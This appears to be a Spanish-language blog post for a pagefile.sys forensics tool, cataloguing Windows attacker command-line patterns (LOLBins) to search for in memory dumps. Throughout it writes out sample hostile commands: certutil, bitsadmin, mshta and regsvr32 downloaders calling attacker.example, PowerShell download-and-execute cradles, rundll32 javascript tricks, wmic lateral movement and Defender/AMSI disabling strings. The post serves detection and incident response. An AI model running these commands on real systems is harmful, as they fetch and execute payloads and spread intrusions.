Cuando un atacante ejecuta cualquier cosa en un host Windows, la línea
de comandos vive en memoria mientras exista el proceso padre — y a
menudo más tiempo, en cachés como los buffers de eventos de Sysmon, el
historial de cmd.exe y las estructuras PROCESSINFO del kernel.
Cuando esa memoria se pagina, la línea de comandos acaba en
pagefile.sys.
La pestaña Artifacts → Command lines del parser captura automáticamente los patrones más comunes. Este post es la referencia de cuáles son esos patrones, qué pinta tienen y cómo intentan ofuscarse los atacantes.
Shortlist de LOLBins
Los binarios de Windows a los que los atacantes recurren con más frecuencia, todos los cuales producen formas características de línea de comandos:
| Binario | Por qué lo usan los atacantes |
|---|---|
powershell.exe / pwsh.exe | Scripting, payloads codificados, trucos de bypass de AMSI |
cmd.exe | Acceso a shell, tuberías, descargadores simples |
certutil.exe | -urlcache -split -f — descargador de archivos, decodificación base64 |
bitsadmin.exe | transfer myjob /download … — descargador de archivos |
mshta.exe | Ejecuta HTA / JScript / VBS desde URL |
rundll32.exe | Carga DLL arbitraria, ejecuta export con nombre |
regsvr32.exe | "Squiblydoo" — /s /i:http://…/payload.sct scrobj.dll |
wmic.exe | process call create, movimiento lateral |
wscript.exe / cscript.exe | Ejecución de VBS / JScript |
installutil.exe | Bypass de AppLocker con .NET InstallUtil |
msbuild.exe | Ejecución de tareas inline de C# arbitrario |
Patrones de PowerShell
PowerShell es, con diferencia, la mayor fuente de líneas de comandos de atacante en los dumps de pagefile. Qué hacer grep:
powershell.exe -nop -w hidden -enc <base64>
powershell -ExecutionPolicy Bypass -File C:\…
powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://…')"
powershell -EncodedCommand <base64>
pwsh -nop -ep bypass -c "…"
El comando codificado es el más útil: decodifícalo en base64 (es
UTF-16LE dentro) y obtienes la fuente real de PowerShell. La pestaña
Artifacts → Command lines del parser captura hasta 256 caracteres
tras el token powershell, lo que suele ser suficiente para capturar el
payload -enc completo.
Cuando veas -enc o -EncodedCommand:
echo "<base64>" | base64 -d | iconv -f UTF-16LE -t UTF-8
…para decodificarlo.
Otras señales de PowerShell que merece la pena grepear en la pestaña Strings:
[System.Net.WebClient],Net.WebClient,DownloadString,DownloadFile.Invoke-Expression,IEX,iex.[System.Reflection.Assembly]::Load,[Reflection.Assembly]::Load— carga de .NET en memoria.[Convert]::FromBase64String— casi siempre va seguido de un payload.AmsiUtils,amsiInitFailed— intentos de bypass de AMSI.Set-MpPreference -DisableRealtimeMonitoring— desactivación de Defender.
Descargadores certutil
Un patrón clásico de descarga de archivos:
certutil.exe -urlcache -split -f http://attacker.example/payload.exe out.exe
certutil -urlcache -split -f https://… encoded.b64
certutil -decode encoded.b64 out.exe
certutil está firmado por Microsoft y preinstalado en todas partes,
así que a los atacantes les encanta. Filtra la pestaña de artefactos
Command lines por certutil o grepea la pestaña Strings por
-urlcache.
Descargadores bitsadmin
bitsadmin /transfer myjob /download /priority high http://… C:\Users\Public\x.exe
Menos común en encargos modernos pero todavía visto en familias de malware antiguas.
mshta y payloads HTA
mshta.exe http://attacker.example/p.hta
mshta vbscript:CreateObject("Wscript.Shell").Run("…")
mshta javascript:…
Variaciones sobre mshta vbscript:… y mshta javascript:… son
particularmente dignas de grepear — se ejecutan inline sin tocar nunca
disco.
rundll32 + sideloading de DLL
rundll32.exe shell32.dll,#61 "C:\…"
rundll32.exe C:\Users\Public\evil.dll,DllMain
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();…
La variante javascript: existe gracias a un capricho de moniker de
Microsoft. Filtra por rundll32 e inspecciona cada uno — la mayoría de
llamadas legítimas a rundll32 tienen un ordinal numérico o un nombre de
DLL de Microsoft reconocible; cualquier cosa que cargue desde %TEMP%,
%PUBLIC%, %PROGRAMDATA% o un perfil de usuario es sospechoso.
regsvr32 "Squiblydoo"
regsvr32 /s /n /u /i:http://attacker.example/payload.sct scrobj.dll
Un binario firmado por Microsoft que carga contenido scriptlet remoto.
Busca regsvr32 + http.
WMIC para movimiento lateral
wmic /node:target process call create "powershell -enc …"
wmic process where name='lsass.exe' get processid
wmic /node: es la pistola humeante del movimiento lateral — el uso
administrativo legítimo es poco común en estaciones de trabajo.
Ofuscación living-off-the-land
Los atacantes del mundo real ofuscan. Trucos habituales que aun así dejan fragmentos legibles en el pagefile:
- Cadenas invertidas:
('xeotuper' | ForEach-Object {…})— lee la cadena al revés. - Arrays de char-code:
[char[]](0x70,0x6f,0x77,…)— decodifica a ASCII. - Concatenación de cadenas:
"po" + "wer" + "shell"— ambas mitades quedan en memoria como cadenas decodificadas. - Sustitución por variables de entorno:
%comspec% /c …,%PSEXEC%. - Alternancia de mayúsculas:
PoWeRsHeLl— a Windows no le importa la caja, pero confunde al grep simple. La regex del parser usa coincidencia case-insensitive por defecto.
La cadena decodificada casi siempre acaba en memoria en tiempo de ejecución — así que aunque la invocación esté ofuscada, la línea de comandos efectiva aparece como cadenas planas legibles cerca.
Cross-referencia con timestamps
Un pagefile por sí solo no tiene timestamps. Para anclar en el tiempo un hallazgo:
- Empareja con el log de eventos
Microsoft-Windows-Sysmon/Operational(EventID 1, creación de proceso) — la misma línea de comandos aparece con un timestamp. - Empareja con PowerShell
Microsoft-Windows-PowerShell/Operational(EventID 4104, logging de bloques de script). - Empareja con el log
Security(EventID 4688, creación de proceso, siAuditProcessCreationestá activado con auditoría de línea de comandos).
Si también tienes esos logs de eventos, el flujo es: encuentra la línea de comandos sospechosa en el pagefile → empárejala con el registro EVTX → obtén el árbol de procesos, padre, usuario, timestamp.
Qué pilla la regex de esta herramienta
La regex de artefactos command matchea hasta 256 caracteres tras
cualquiera de: cmd.exe, powershell / pwsh, wscript.exe,
cscript.exe, rundll32.exe, mshta.exe, regsvr32.exe,
certutil.exe, bitsadmin.exe. Case-insensitive. Eso cubre la mayoría
del tradecraft práctico de los atacantes.
Para el resto — wmic, installutil, msbuild, vssadmin delete shadows, etc. — usa la pestaña Strings y filtra a mano.
Relacionado
- Cómo funciona realmente el forense de pagefile.sys — el catálogo de regex completo.
- Encontrar credenciales en pagefile.sys — muchas líneas de comando incluyen credenciales inline.
- Cómo adquirir pagefile.sys — captura el archivo antes de que vuelva el beacon del atacante.